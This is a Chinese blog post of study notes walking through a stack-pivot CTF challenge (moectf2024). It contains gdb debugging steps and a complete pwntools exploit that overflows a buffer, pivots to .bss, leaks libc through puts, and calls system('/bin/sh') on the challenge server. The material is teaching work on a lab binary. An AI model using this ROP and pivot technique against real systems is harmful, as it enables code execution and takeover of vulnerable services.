栈迁移学习笔记(moectf2024/ 栈的奇妙之旅)

最后编辑时间:2025-02-21 21:05:16 星期五

栈迁移学习笔记

栈迁移对二进制要求了解较深,前置技能相对也比较多
前置技能:

  • python + pwntool 使用
  • Linux ELF文件pwn知识
  • gdb动态调试

一 、查看题目

image
image
看一眼保护和架构
image
进入ida查看
image
image

题目分析:题目还是比较干净的,没有什么干扰,缓冲区128,可以写入0x90,明显的栈溢出漏洞,没有后门函数。

二、尝试直接常规思路

常规思路下,我们做题方法一般是:

payload = flat([
    cyclic(128), #抵达溢出点
    file.search(asm("pop rdi; ret;")).__next__(), #传递puts@got
    file.got['puts'], 
    file.plt['puts'], #调用puts,泄露基址
    file.sym['vuln'] #返回到漏洞函数再次触发
])

但是这个payload使用len()计算长度后发现长达160 (注:0x90=144),也就是说,出去用于缓冲区的,真正供我们使用的只有16字节

三、那为什么我们不换一个位置写入呢?

既然栈上不够位置写入,那写到其他可以写入的地方不就好了。想想看,内存空间里,有什么是可以用户写入的地方吗?无非四个地方:栈区堆区.bss.data,题目有NX保护阻止我们对堆栈动手脚,那我们就优先考虑.bss.data

在之前做题的时候,我们总是习惯性的覆盖掉了下图的s,这个时候就要它来发挥作用了。
image

我们要用的两条指令为leave; ret;,具体可参考这个:https://www.cnblogs.com/ZIKH26/articles/15817337.html

为了防止忘记了这里三个寄存器是干嘛的,先写在这里:

  • rsp:指示栈顶
  • rbp:指示栈底
  • rip:下一条指令地址

简而言之:
leave;作用为:

  • mov rsp rbp; 将ebp的值赋值给sep
  • pop rbp; 将栈顶的值弹入ebp

ret;的作用为:

  • pop rip将栈顶的弹入eip

image
image

请注意:

  1. 因为rsp时刻标示着栈顶,所以进行pop后要进行+8(64位)或+4(32位)
  2. 本教程所有的图都是使用64位,从高地址向低地址,和其他教程配合看时候注意时候相同

四、让我们来尝试栈迁移

既然要迁移到.bss.data,那么我们就要知道对应的地址在哪里,打开ida:
image
image
优先选择.bss段,因为.data距离got表太近了,不太好操作,那我们选择0x404020 + 200作为.bss地址,开始写代码:

from pwn import *
context(arch="AMD64", os="linux", log_level="debug")

io = process("./pwn")
# io = remote("192.168.112.1", 60481)

file = ELF("./pwn")
libc = ELF("./libc.so.6")

bss = 0x404000 + 0x200

payload = flat([
    b"a"*0x80,
    bss,
    file.sym['vuln']
])
print("payload",len(payload))

gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)

io.interactive()

payload长度为144,正好为0x90
加入gdb调试代码,在虚拟机中调试
image
此时还在read函数内部,使用ni单步调试运行(输入一次后就可以一直回车重复),直到这一步:
image
read即将返回,注意观察rdprsp
image
继续单步进入,观察触发leaveret行为,我们已经进行了第一次leave
image
rdb已经位于.bss段上
image
继续运行,观察vule返回后再次触发了本身,我们一路单步到达这里
image
注意看这一步,它再次恢复了rbp到栈区上,这不是我们想要的行为,我们要调用read写数据到.bss上,我们要在返回函数跳过这一步。
image
使用ida分析,是这两条导致恢复了rbp到栈区上,我们要跳过这一段,那我们分析一下,跳到哪一步好:
image
有两部分有用,一部分是read_leave_ret、另外一个是leave_ret,写入代码试试看

#上方省略

bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB

payload = flat([
    b"a"*0x80,
    bss,
    read_leave_ret
])

gdb.attach(io)
io.sendafter(b"me?", payload)
sleep(1000)

io.interactive()

带入调试器看看
image
成功跳过,接下来我们要知道read的数据放在哪里了,写下代码:

#上方省略

bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = 0x4011FB

payload = flat([
    b"a"*0x80,
    bss,
    read_leave_ret
])
io.sendafter(b"me?", payload)

gdb.attach(io)
io.send(b"A"*80)
sleep(1000)

io.interactive()

image
先单步运行到read即将ret的地方,我们猜想,输入的数据可能存放的位置:
1.栈上:即RSP附近
2..bss上:即RBP附近

gdb有个查看内存地址的指令:

x/10i 0xffff1111
x/10x 0xffff1111

10是你要查看的个数,ix是以指令、十六进制查看,我们尝试查看正负50条:
建议使用ctrl+shift+c复制、ctrl+shift+v粘贴

x/100x 0x404150
x/100x 0x7FFF81F33C0B

image
image

根据简单的对照ASCLL码可知写在bss段了
image

为什么写到了bss段?

回到第一次leave;ret;后的地方
image
注意这条指令!
image
运行到call read
image
注意高光部分的代码和寄存器
image

0x4011e5 <vuln+27>:lea rax,[rbp-0x80]:将 [rbp - 0x80] 的内存地址加载到 rax 寄存器中,
还记得rbp的地址是啥吗?对的,.bss上!

回到正题

画个图来看看发生了什么:(黄色底色的是栈顶)
image

之后ret
image

此时有一个有趣的现象,rbprsp地址低,和正常情况反过来了,但是此时pop仍然是rsp向高地址移动

五、布局第二次payload

我们现在已经可以写入到0x404180,并且可以写入0x90字节的数据了,那我们尝试布局数据:
image

我们发现数据并不是那么好布置的,我们可以想:刚刚我们只是运行了read,后面一定会运行leave; ret;(请注意,此时我们已经运行过一次leave;ret;了,这里是第二次),
我们先尝试虚空布局:
第一步,没有什么问题
image

第二步:因为要进行pop rbp;rsp一定是移动到高地址,0x404200放置的是rbp地址
image
我们先随便假设一个rbp地址,然后执行ret,发现0x404200放置的是返回函数地址
image
第三步:我们要思考要调用什么函数,很显然这里写入数据的大小并没有发生变化,仍然为16字节,并没有达到栈迁移的目标,现在我们有两个选择:read_leave_retleave_ret,稍加思考发现,如果再次调用read,需要再次布局payload,但是写入的位置需要调整(我们刚刚开始的rbp0x40200,但是写入的是0x40180),不适合。那就试试看leave; ret;(此时为第三次leave;ret;了


第一步,没有什么问题
image
第二步:因为要进行pop rbp;rsp一定是移动到高地址,0x404180放置的是rbp地址
image
第三步:准备返回
image
此时你有没有发现,rbprsp的位置关系恢复了,也就是说我们已经成功构造出一个栈了!并且这个栈的内容我们在第二次read可以完全控制!,此时位于.bss段NX保护也管不到了,没错,和你想的一样,我们可以布置这些代码
image
注意!此时的pop需要具体问题具体分析
现在进行倒推:
image
我们发现rbp位置似乎还没确定,因为等会我们还会进行一次栈迁移,为了方便,就设置在.bss上,但是注意不要和原来的冲突了,最终的布局如图:
image
写成代码:

bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()

payload = flat([
    b"a"*0x80,
    bss,
    read_leave_ret
])

io.sendafter(b"me?", payload)


payload = flat([
    bss + 0x600,
    pop_rdi, puts_got,
    puts_plt,
    read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret) #使用\x00补位
io.send(payload)

io.interactive()

image
接受到泄露函数,转化为偏移,固定操作代码

io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']

六、又一次栈迁移

不是,为什么又要迁移,直接在返回函数上接着搞不好吗?看图:
image
进行pop rdi后,栈顶位置已经是在函数上了,需要重新布置栈了,没办法,老老实实上调试器重复
现在回顾代码:

from pwn import *
context(arch="AMD64", os="linux", log_level="debug")

io = process("./pwn")
# io = remote("192.168.112.1", 60481)

file = ELF("./pwn")
libc = ELF("./libc.so.6")

bss = 0x404000 + 0x200
read_leave_ret = 0x4011E5
# leave_ret = 0x4011FB
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()


payload = flat([
    b"a"*0x80,
    bss,
    read_leave_ret
])

io.sendafter(b"me?", payload)


payload = flat([
    bss + 0x600,
    pop_rdi, puts_got,
    puts_plt,
    read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)
libc.address = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['puts']
io.send(payload)


gdb.attach(io)

sleep(1000)
io.interactive()

gdb定位写入数据位置
image
用软件画出来
image
又是找位置时间,这里不再赘述,类似第一次栈迁移
image

  1. mov rsp rbp;
    image
  2. pop rbp;
    image
  3. pop rid;
    image
  4. mov rsp rbp;
    image
  5. pop rbp;
    image
  6. pop rid;
    image
  7. 总结倒推
    image

写成代码:

payload = flat([
    bss,
    pop_rdi,libc.search("/bin/sh\x00").__next__(),
    pop_rdi+1,#加上ret平衡栈
    libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)

为什么要使用ret平衡栈?

注意调用system时的栈对齐问题。如果直接返回至libc.sym['system'],程序运行时触发 SIGSEGV(段错误)。gdb调试程序在 system 函数中这个指令处崩溃:

movaps xmmword ptr [rsp + 0x50], xmm0

其实是 movaps 指令要求目标地址(此处为 rsp + 0x50)16 字节对齐(能被 16 整除)导致的。通过插入ret从而使 rsp+8实现16 字节对齐。

七、总结

from pwn import *
context(arch="AMD64",os="linux",log_level="debug")

# io = process("./pwn")
io = remote("192.168.112.1",60481)

file = ELF("./pwn")
libc = ELF("./libc.so.6")

bss = 0x404000 + 0x200
leave_ret = file.search(asm("leave; ret;")).__next__()
puts_got = file.got['puts']
puts_plt = file.plt['puts']
pop_rdi = file.search(asm("pop rdi; ret;")).__next__()
# 返回到read、leave、ret
read_leave_ret = 0x4011E5

payload = flat([
    b'a'*0x80,
    bss,
    read_leave_ret
])
io.sendafter(b"me?", payload)

payload = flat([
    bss + 0x600,
    pop_rdi, puts_got,
    puts_plt,
    read_leave_ret
]).ljust(0x80, b'\x00') + p64(bss - 0x80) + p64(leave_ret)

# gdb.attach(io)
io.send(payload)

io.recvuntil(b'\n')
libc.address = u64(io.recv(6).ljust(8,b"\x00"))-libc.sym['puts']

payload = flat([
    bss,
    pop_rdi,libc.search("/bin/sh\x00").__next__(),
    pop_rdi+1,#ret
    libc.sym['system']
]).ljust(0x80,b'\x00')+p64(bss+0x600-0x80)+p64(leave_ret)
io.send(payload)

io.interactive()
ls /
cat /flag

image
技术总结:主打一个累+难以理解,要很强大的反退能力,变来变去容易晕

posted @ 2025-02-22 11:05  归海言诺  阅读(355)  评论(0)    收藏  举报